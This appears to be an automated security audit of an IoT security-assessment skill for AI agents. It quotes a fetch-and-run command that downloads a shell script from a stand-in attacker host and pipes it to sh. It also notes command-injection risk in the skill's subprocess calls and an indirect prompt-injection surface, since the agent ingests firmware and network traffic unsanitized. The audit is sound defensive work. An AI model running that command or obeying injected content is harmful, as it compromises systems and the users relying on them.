The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The SKILL.md file contains a literal remote code execution string (wget http://attacker.com/shell.sh | sh) within the 'Enterprise IP Camera Security Assessment' scenario. Although presented as an illustrative example of an exploit finding, the presence of a functional RCE payload targeting an untrusted domain triggers critical detection patterns.
[COMMAND_EXECUTION]: The scripts/agent.py script relies heavily on the subprocess.run() function to execute external system tools. This creates a surface for command injection if the target IP, interface, or file paths are populated with unsanitized user input.
The script executes nmap, curl, binwalk, tcpdump, capinfos, and openssl directly from Python.
Specifically, the analyze_firmware method performs recursive extraction and grep operations on filesystems derived from external firmware images.
[EXTERNAL_DOWNLOADS]: The skill documentation references downloading and executing shell scripts from attacker.com. Additionally, the scripts/agent.py script uses curl to interact with external network targets and paho-mqtt to connect to remote MQTT brokers.
[INDIRECT_PROMPT_INJECTION]: The skill possesses a significant attack surface for indirect prompt injection because it is designed to ingest and analyze untrusted data from the environment.
Ingestion points: Reads firmware images (analyze_firmware) and captures live network traffic (capture_traffic).
Boundary markers: None identified; the skill processes raw binary and text data from extracted filesystems without sanitization.
Capability inventory: Includes file system writes, network scanning, packet capture, and firmware extraction utilities.
Sanitization: The script lacks validation for the content of extracted files before performing grep or other analysis tasks.

performing-iot-security-assessment